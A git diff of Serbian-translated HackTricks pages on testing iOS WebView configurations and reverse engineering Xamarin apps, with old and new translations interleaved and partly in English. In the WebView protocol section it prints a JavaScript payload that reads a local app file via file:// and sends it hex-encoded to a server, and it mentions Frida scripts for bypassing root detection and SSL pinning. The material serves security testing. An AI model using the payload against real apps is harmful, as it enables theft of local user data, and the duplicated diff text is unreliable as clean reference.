- **UIWebView**, koji više nije preporučen od iOS 12 zbog nedostatka podrške za onemogućavanje **JavaScript**-a, što ga čini podložnim ubacivanju skripti i napadima **Cross-Site Scripting (XSS)**.
- **UIWebView**, koji više nije preporučen od iOS 12 nadalje zbog nedostatka podrške za onemogućavanje **JavaScript**, što ga čini podložnim injekciji skripti i **Cross-Site Scripting (XSS)** napadima.
- **WKWebView** je preferirana opcija za uključivanje web sadržaja u aplikacije, nudeći unapređenu kontrolu nad sadržajem i sigurnosne karakteristike. **JavaScript** je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora putem JavaScript-a i obezbeđuje da se sav sadržaj učitava sigurno. Dodatno, arhitektura **WKWebView**-a minimizira rizik od korupcije memorije koja utiče na glavni proces aplikacije.
- **WKWebView** je preferisana opcija za uključivanje web sadržaja u aplikacije, nudeći poboljšanu kontrolu nad sadržajem i bezbednosnim karakteristikama. **JavaScript** je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora od strane JavaScript-a i osigurava da se sav sadržaj učitava sigurno. Pored toga, arhitektura **WKWebView** minimizira rizik od oštećenja memorije koje utiče na glavni proces aplikacije.
- **SFSafariViewController** nudi standardizovano iskustvo pregledanja weba unutar aplikacija, prepoznatljivo po svom specifičnom izgledu koji uključuje samo polje za adresu, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safari-ju. Za razliku od **WKWebView**-a, **JavaScript** ne može biti onemogućen u **SFSafariViewController**-u, koji takođe deli kolačiće i podatke sa Safari-jem, čuvajući privatnost korisnika od aplikacije. Moraju biti jasno prikazani u skladu sa smernicama App Store-a.
- **SFSafariViewController** nudi standardizovano iskustvo web pretraživanja unutar aplikacija, prepoznatljivo po svom specifičnom rasporedu koji uključuje polje za adresu samo za čitanje, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safariju. Za razliku od **WKWebView**, **JavaScript** se ne može onemogućiti u **SFSafariViewController**, koji takođe deli kolačiće i podatke sa Safarijem, održavajući privatnost korisnika od aplikacije. Mora biti istaknuto u skladu sa smernicama App Store-a.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Pregled konfiguracije WebViews-a
## WebViews Configuration Exploration Summary
### **Pregled statičke analize**
### **Static Analysis Overview**
U procesu ispitivanja konfiguracija **WebViews-a**, fokus je na dva osnovna tipa: **UIWebView** i **WKWebView**. Za identifikaciju ovih WebViews-a unutar binarnog fajla, koriste se komande koje traže određene reference klasa i metode inicijalizacije.
U procesu ispitivanja **WebViews** konfiguracija, fokusira se na dva glavna tipa: **UIWebView** i **WKWebView**. Za identifikaciju ovih WebViews unutar binarnog fajla, koriste se komande koje pretražuju specifične reference klasa i metode inicijalizacije.
- **Identifikacija UIWebView-a**
- **UIWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Ova komanda pomaže u pronalaženju instanci **UIWebView** pretraživanjem tekstualnih nizova povezanih s njim u binarnom kodu.
Ova komanda pomaže u lociranju instanci **UIWebView** pretražujući tekstualne nizove povezane s njom u binarnom kodu.
- **Identifikacija WKWebView**
- **WKWebView Identifikacija**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Slično tome, za **WKWebView**, ovaj komanda pretražuje binarni fajl za tekstualne niske koji ukazuju na njegovu upotrebu.
Slično tome, za **WKWebView**, ova komanda pretražuje binarni fajl za tekstualne stringove koji ukazuju na njegovu upotrebu.
Osim toga, da biste pronašli kako je **WKWebView** inicijalizovan, izvršava se sledeća komanda, ciljajući na potpis metode koji je povezan sa njegovom inicijalizacijom:
Pored toga, da bi se saznalo kako se **WKWebView** inicijalizuje, izvršava se sledeća komanda, koja cilja na potpis metode vezane za njegovu inicijalizaciju:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Provera konfiguracije JavaScript-a**
#### **Provera Konfiguracije JavaScript-a**
Za **WKWebView**, istaknuto je da je najbolja praksa onemogućiti JavaScript osim ako nije potrebno. Pretražuje se kompilirana binarna datoteka da bi se potvrdilo da je svojstvo `javaScriptEnabled` postavljeno na `false`, čime se osigurava da je JavaScript onemogućen:
Za **WKWebView**, naglašava se da je onemogućavanje JavaScript-a najbolja praksa osim ako nije potrebno. Pretražuje se kompajlirani binarni fajl kako bi se potvrdilo da je svojstvo `javaScriptEnabled` postavljeno na `false`, čime se osigurava da je JavaScript onemogućen:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Samo provera sigurnog sadržaja**
#### **Samo verifikacija sigurnog sadržaja**
**WKWebView** nudi mogućnost identifikacije problema sa mešovitim sadržajem, za razliku od **UIWebView**-a. Ovo se proverava korišćenjem svojstva `hasOnlySecureContent` kako bi se osiguralo da se svi resursi stranice učitavaju putem sigurnih veza. Pretraga u kompajliranom binarnom kodu se izvodi na sledeći način:
**WKWebView** nudi mogućnost identifikacije problema sa mešanim sadržajem, u suprotnosti sa **UIWebView**. Ovo se proverava korišćenjem `hasOnlySecureContent` svojstva kako bi se osiguralo da su svi resursi stranice učitani putem sigurnih veza. Pretraga u kompajliranom binarnom fajlu se vrši na sledeći način:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Dinamička analiza uvida**
### **Uvidi u Dinamičku Analizu**
Dinamička analiza uključuje pregledanje hipa za instance WebView-a i njihove osobine. Skripta nazvana `webviews_inspector.js` koristi se u tu svrhu, ciljajući instance `UIWebView`, `WKWebView` i `SFSafariViewController`. Ona beleži informacije o pronađenim instancama, uključujući URL-ove i postavke vezane za JavaScript i siguran sadržaj.
Dinamička analiza uključuje inspekciju heap-a za WebView instance i njihove osobine. Skripta pod nazivom `webviews_inspector.js` se koristi u tu svrhu, ciljajući `UIWebView`, `WKWebView` i `SFSafariViewController` instance. Beleži informacije o pronađenim instancama, uključujući URL-ove i podešavanja vezana za JavaScript i sigurni sadržaj.
Pregled hipa može se sprovesti korišćenjem `ObjC.choose()` da bi se identifikovale instance WebView-a i proverile osobine `javaScriptEnabled` i `hasonlysecurecontent`.
Inspekcija heap-a može se izvršiti korišćenjem `ObjC.choose()` za identifikaciju WebView instanci i proveru `javaScriptEnabled` i `hasonlysecurecontent` osobina.
{% code title="webviews_inspector.js" %}
```javascript
@ -121,30 +122,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
```
{% endcode %}
Skripta se izvršava sa:
Скрипт се извршава са:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Ključni rezultati**:
- Pronađeni su i pregledani instanci WebViews.
- Proverena je omogućenost JavaScript-a i postavke sigurnog sadržaja.
**Ključni Ishodi**:
- Primeri WebView-a su uspešno locirani i pregledani.
- Omogućavanje JavaScript-a i podešavanja sigurnog sadržaja su verifikovani.
Ovaj sažetak obuhvata ključne korake i komande u analizi konfiguracija WebView-a kroz statičke i dinamičke pristupe, fokusirajući se na sigurnosne funkcije poput omogućenosti JavaScript-a i detekcije mešovitog sadržaja.
Ova sažetak obuhvata ključne korake i komande uključene u analizu WebView konfiguracija kroz statičke i dinamičke pristupe, fokusirajući se na bezbednosne karakteristike kao što su omogućavanje JavaScript-a i detekcija mešanog sadržaja.
## Obrada protokola WebView-a
## Rukovanje WebView Protokolima
Obrada sadržaja u WebView-ima je ključni aspekt, posebno kada se radi sa različitim protokolima kao što su `http(s)://`, `file://` i `tel://`. Ovi protokoli omogućavaju učitavanje i udaljenog i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.
Rukovanje sadržajem u WebView-ima je kritičan aspekt, posebno kada se radi o različitim protokolima kao što su `http(s)://`, `file://`, i `tel://`. Ovi protokoli omogućavaju učitavanje kako udaljenog, tako i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja, treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.
**WebViews** nude različite metode za učitavanje sadržaja. Za **UIWebView**, koji je sada zastareo, koriste se metode poput `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. Sa druge strane, **WKWebView** koristi `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` i `loadRequest:` za web sadržaj. Metode poput `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` se obično koriste za učitavanje lokalnih datoteka. Metoda `loadFileURL:allowingReadAccessToURL:` je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je naveden direktorijum.
**WebViews** nude različite metode za učitavanje sadržaja. Za **UIWebView**, koji je sada zastareo, koriste se metode kao što su `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, s druge strane, koristi `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, i `loadRequest:` za web sadržaj. Metode kao što su `pathForResource:ofType:`, `URLForResource:withExtension:`, i `init(contentsOf:encoding:)` se obično koriste za učitavanje lokalnih datoteka. Metoda `loadFileURL:allowingReadAccessToURL:` je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je specificiran direktorijum.
Da biste pronašli ove metode u izvornom kodu ili kompiliranom binarnom fajlu, mogu se koristiti sledeće komande:
Da bi se pronašle ove metode u izvor kodu ili kompajliranom binarnom fajlu, mogu se koristiti komande kao što su:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Što se tiče **pristupa datotekama**, UIWebView to omogućava univerzalno, dok WKWebView uvodi postavke `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` za upravljanje pristupom putem URL-ova datoteka, pri čemu su oba po defaultu postavljena na false.
Regarding **file access**, UIWebView omogućava univerzalni pristup, dok WKWebView uvodi `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` podešavanja za upravljanje pristupom sa URL-ova datoteka, pri čemu su oba podrazumevano postavljena na false.
Pružen je primer Frida skripte za pregled konfiguracija **WKWebView**-a za sigurnosne postavke:
Primer Frida skripte je dat za inspekciju **WKWebView** konfiguracija za bezbednosna podešavanja:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
}
});
```
Na kraju, primer JavaScript payloada koji ima za cilj izvlačenje lokalnih fajlova pokazuje potencijalni sigurnosni rizik povezan sa nepravilno konfigurisanim WebViews-om. Ovaj payload enkodira sadržaj fajlova u heksadecimalni format pre slanja na server, ističući važnost stroge sigurnosne mere u implementaciji WebView-a.
Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. Ovaj payload kodira sadržaj datoteka u heksadecimalni format pre nego što ih prenese na server, ističući važnost strogih bezbednosnih mera u implementacijama WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
@ -185,24 +186,24 @@ xhr2.send(null);
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Izlaganje nativnih metoda putem WebView-a
## Native Methods Exposed Through WebViews
## Razumevanje nativnih interfejsa WebView-a u iOS-u
## Razumevanje WebView Native Interfaces u iOS-u
Od iOS 7 nadalje, Apple je pružio API-je za **komunikaciju između JavaScript-a u WebView-u i nativnih** Swift ili Objective-C objekata. Ova integracija se uglavnom olakšava kroz dve metode:
Od iOS 7 pa nadalje, Apple je obezbedio API-je za **komunikaciju između JavaScript-a u WebView-u i native** Swift ili Objective-C objekata. Ova integracija se prvenstveno olakšava kroz dve metode:
- **JSContext**: JavaScript funkcija se automatski kreira kada se Swift ili Objective-C blok poveže sa identifikatorom unutar `JSContext`-a. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i nativnog koda.
- **JSExport protokol**: Nasleđivanjem `JSExport` protokola, nativna svojstva, instance metode i klase metode mogu biti izložene JavaScript-u. Ovo znači da se bilo koje promene napravljene u JavaScript okruženju ogledaju u nativnom okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci ne budu nenamerno izloženi putem ove metode.
- **JSContext**: JavaScript funkcija se automatski kreira kada je Swift ili Objective-C blok povezan sa identifikatorom unutar `JSContext`. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i native koda.
- **JSExport Protocol**: Nasleđivanjem `JSExport` protokola, native svojstva, instance metode i metode klase mogu biti izložene JavaScript-u. To znači da su sve promene napravljene u JavaScript okruženju odražene u native okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci nisu nenamerno izloženi ovom metodom.
### Pristupanje `JSContext`-u u Objective-C-u
### Pristupanje `JSContext` u Objective-C
U Objective-C-u, `JSContext` za `UIWebView` može se dobiti sledećim kodom:
U Objective-C, `JSContext` za `UIWebView` može se dobiti sledećom linijom koda:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Komunikacija sa `WKWebView`
### Communication with `WKWebView`
Za `WKWebView`, direktni pristup `JSContext`-u nije dostupan. Umesto toga, koristi se prenos poruka putem funkcije `postMessage`, omogućavajući JavaScript-u da komunicira sa nativnom aplikacijom. Handleri za ove poruke se podešavaju na sledeći način, omogućavajući JavaScript-u da sigurno interaguje sa nativnom aplikacijom:
Za `WKWebView`, direktan pristup `JSContext` nije dostupan. Umesto toga, koristi se prenos poruka putem funkcije `postMessage`, omogućavajući komunikaciju između JavaScripta i nativne aplikacije. Handleri za ove poruke se postavljaju na sledeći način, omogućavajući JavaScriptu da sigurno komunicira sa nativnom aplikacijom:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -215,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
}
}
```
### Interakcija i testiranje
### Interaction and Testing
JavaScript može da komunicira sa nativnim slojem definisanjem handlera za poruke skripte. Ovo omogućava operacije poput pozivanja nativnih funkcija sa veb stranice:
JavaScript može da komunicira sa nativnim slojem definisanjem rukovaoca porukama skripte. Ovo omogućava operacije kao što su pozivanje nativnih funkcija sa veb stranice:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Da biste uhvatili i manipulisali rezultatom poziva native funkcije, možete prebrisati callback funkciju unutar HTML-a:
Da bi se uhvatio i manipulisao rezultat poziva native funkcije, može se prepisati callback funkcija unutar HTML-a:
```html
<html>
<script>
@ -239,7 +240,7 @@ alert(result);
</script>
</html>
```
Nativna strana obrađuje JavaScript poziv kao što je prikazano u klasi `JavaScriptBridgeMessageHandler`, gde se rezultat operacija kao što je množenje brojeva obrađuje i šalje nazad JavaScript-u radi prikaza ili dalje manipulacije:
Nativna strana obrađuje JavaScript poziv kao što je prikazano u `JavaScriptBridgeMessageHandler` klasi, gde se rezultat operacija kao što je množenje brojeva obrađuje i šalje nazad JavaScript-u za prikaz ili dalju manipulaciju:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
@ -252,40 +253,41 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Debugiranje iOS WebViews
## Debugging iOS WebViews
(Tutorijal zasnovan na [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
(Tutorial zasnovan na onom sa [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Da biste efikasno debugirali web sadržaj unutar iOS webview-ova, potrebna je određena konfiguracija koja uključuje Safari-jeve alate za razvoj zbog činjenice da poruke poslate putem `console.log()` nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča koji naglašava ključne korake i zahteve:
Da biste efikasno debagovali web sadržaj unutar iOS webview-a, potrebna je specifična postavka koja uključuje Safari-ove alate za programere zbog toga što poruke poslate na `console.log()` nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča, sa naglaskom na ključne korake i zahteve:
- **Priprema na iOS uređaju**: Safari Web Inspector treba biti aktiviran na vašem iOS uređaju. To se postiže odlaskom na **Podešavanja > Safari > Napredno**, i omogućavanjem _Web Inspector_-a.
- **Priprema na iOS uređaju**: Safari Web Inspector treba aktivirati na vašem iOS uređaju. To se radi odlaskom na **Podešavanja > Safari > Napredno**, i omogućavanjem _Web Inspector_.
- **Priprema na macOS uređaju**: Na vašem macOS razvojnom računaru, morate omogućiti alate za razvoj unutar Safari-ja. Pokrenite Safari, pristupite **Safari > Preferences > Advanced**, i izaberite opciju _Show Develop menu_.
- **Priprema na macOS uređaju**: Na vašem macOS razvojnim računaru, morate omogućiti alate za programere unutar Safarija. Pokrenite Safari, pristupite **Safari > Preferencije > Napredno**, i izaberite opciju _Prikaži Develop meni_.
- **Povezivanje i debugiranje**: Nakon što povežete svoj iOS uređaj sa svojim macOS računarom i pokrenete aplikaciju, koristite Safari na svom macOS uređaju da biste izabrali webview koji želite da debugirate. Idite na _Develop_ u Safari-jevoj traci sa menijem, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvara se novi prozor Safari Web Inspector-a u tu svrhu.
- **Povezivanje i debagovanje**: Nakon što povežete svoj iOS uređaj sa vašim macOS računarom i pokrenete vašu aplikaciju, koristite Safari na vašem macOS uređaju da izaberete webview koji želite da debagujete. Idite na _Develop_ u meniju Safarija, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvoriće se novi prozor Safari Web Inspector-a u tu svrhu.
Međutim, budite svesni ograničenja:
Međutim, imajte na umu ograničenja:
- Debugiranje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.
- Samo webview-ovi u aplikacijama učitanim na vaš uređaj putem Xcode-a su pogodni za debugiranje. Webview-ovi u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debugirati na ovaj način.
- Debagovanje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.
- Samo webview-i u aplikacijama učitanim na vaš uređaj putem Xcode-a su podobni za debagovanje. Webview-i u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debagovati na ovaj način.
## Reference
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,53 @@
# Xamarin aplikacije
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ovo je sažetak blog posta [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Osnovne informacije**
Xamarin je **open-source platforma** dizajnirana za razvoj aplikacija za iOS, Android i Windows koristeći .NET i C# framework-ove. Ova platforma pruža pristup brojnim alatima i ekstenzijama za efikasno kreiranje modernih aplikacija.
Xamarin je **platforma otvorenog koda** dizajnirana za programere da **prave aplikacije za iOS, Android i Windows** koristeći .NET i C# okvire. Ova platforma nudi pristup brojnim alatima i ekstenzijama za efikasno kreiranje modernih aplikacija.
### Xamarin-ova arhitektura
### Arhitektura Xamarina
- Za **Android**, Xamarin se integriše sa Android i Java namespace-ovima putem .NET veza, radeći unutar Mono izvršnog okruženja zajedno sa Android Runtime-om (ART). Managed Callable Wrappers (MCW) i Android Callable Wrappers (ACW) olakšavaju komunikaciju između Mono-a i ART-a, koji su oboje izgrađeni na Linux kernelu.
- Za **iOS**, aplikacije se izvršavaju pod Mono runtime-om, koristeći potpunu Ahead of Time (AOT) kompilaciju za pretvaranje C# .NET koda u ARM asemblerski jezik. Ovaj proces se izvršava zajedno sa Objective-C Runtime-om na UNIX-sličnom kernelu.
- Za **Android**, Xamarin se integriše sa Android i Java imenskim prostorima putem .NET veza, radeći unutar Mono izvršnog okruženja zajedno sa Android Runtime (ART). Managed Callable Wrappers (MCW) i Android Callable Wrappers (ACW) olakšavaju komunikaciju između Mono i ART, koji su oba izgrađena na Linux kernelu.
- Za **iOS**, aplikacije se izvršavaju pod Mono runtime-om, koristeći potpunu Ahead of Time (AOT) kompilaciju za konverziju C# .NET koda u ARM asembler jezik. Ovaj proces se odvija zajedno sa Objective-C Runtime na UNIX-sličnom kernelu.
### .NET Runtime i Mono Framework
**.NET framework** uključuje skupove, klase i namespace-ove za razvoj aplikacija, pri čemu .NET Runtime upravlja izvršenjem koda. On nudi platformsku nezavisnost i kompatibilnost unazad. **Mono Framework** je open-source verzija .NET framework-a, pokrenuta 2005. godine da bi se .NET proširio na Linux, sada podržana od strane Microsoft-a i vođena od strane Xamarin-a.
**.NET framework** uključuje asambleje, klase i imenske prostore za razvoj aplikacija, pri čemu .NET Runtime upravlja izvršenjem koda. Pruža nezavisnost od platforme i unazad kompatibilnost. **Mono Framework** je verzija .NET framework-a otvorenog koda, pokrenuta 2005. godine kako bi se proširio .NET na Linux, sada podržana od strane Microsoft-a i vođena od strane Xamarina.
### Reverse inženjering Xamarin aplikacija
### Reverzno inženjerstvo Xamarin aplikacija
#### Dekompilacija Xamarin Assembly-ja
#### Decompilacija Xamarin asambleja
Dekompilacija transformiše kompilirani kod nazad u izvorni kod. Na Windows-u, prozor Moduli u Visual Studio-u može identifikovati module za dekompilaciju, omogućavajući direktni pristup kodu treće strane i izvlačenje izvornog koda radi analize.
Decompilacija transformiše kompajlirani kod nazad u izvorni kod. U Windows-u, prozor Moduli u Visual Studio-u može identifikovati module za decompilaciju, omogućavajući direktan pristup kodu trećih strana i ekstrakciju izvornog koda za analizu.
#### JIT vs AOT kompilacija
- **Android** podržava Just-In-Time (JIT) i Ahead-Of-Time (AOT) kompilaciju, sa Hibridnim AOT režimom za optimalnu brzinu izvršenja. Potpuna AOT je ekskluzivna za Enterprise licence.
- **iOS** isključivo koristi AOT kompilaciju zbog Apple-ovih ograničenja u vezi izvršavanja dinamičkog koda.
- **Android** podržava Just-In-Time (JIT) i Ahead-Of-Time (AOT) kompilaciju, sa hibridnim AOT režimom za optimalnu brzinu izvršenja. Potpuna AOT je ekskluzivna za Enterprise licence.
- **iOS** koristi isključivo AOT kompilaciju zbog Apple-ovih ograničenja na dinamičko izvršavanje koda.
### Izdvajanje dll fajlova iz APK/IPA
### Ekstrakcija dll fajlova iz APK/IPA
Da biste pristupili skupovima u APK/IPA fajlu, raspakujte fajl i istražite direktorijum skupova. Za Android, alati poput [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) i [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) mogu dekompresovati dll fajlove.
Da biste pristupili asamblejama u APK/IPA, raspakujte datoteku i istražite direktorijum asambleja. Za Android, alati poput [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) i [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) mogu dekompresovati dll fajlove.
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Za skupove montaže u Androidu, [pyxamstore](https://github.com/jakev/pyxamstore) može ih raspakovati.
Za assembly blobove u Androidu, [pyxamstore](https://github.com/jakev/pyxamstore) može da ih raspakuje.
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
@ -54,9 +55,9 @@ iOS dll datoteke su lako dostupne za dekompilaciju, otkrivajući značajne delov
### Dinamička analiza
Dinamička analiza uključuje proveru SSL pinning-a i korišćenje alata poput [Fridax](https://github.com/NorthwaveSecurity/fridax) za izvršne modifikacije .NET binarnih fajlova u Xamarin aplikacijama. Frida skripte su dostupne za zaobilaženje detekcije root-a ili SSL pinning-a, poboljšavajući mogućnosti analize.
Dinamička analiza uključuje proveru SSL pinovanja i korišćenje alata kao što je [Fridax](https://github.com/NorthwaveSecurity/fridax) za runtime modifikacije .NET binarnih datoteka u Xamarin aplikacijama. Frida skripte su dostupne za zaobilaženje detekcije root-a ili SSL pinovanja, poboljšavajući analitičke mogućnosti.
Druga interesantna Frida skripta:
Druge zanimljive Frida skripte:
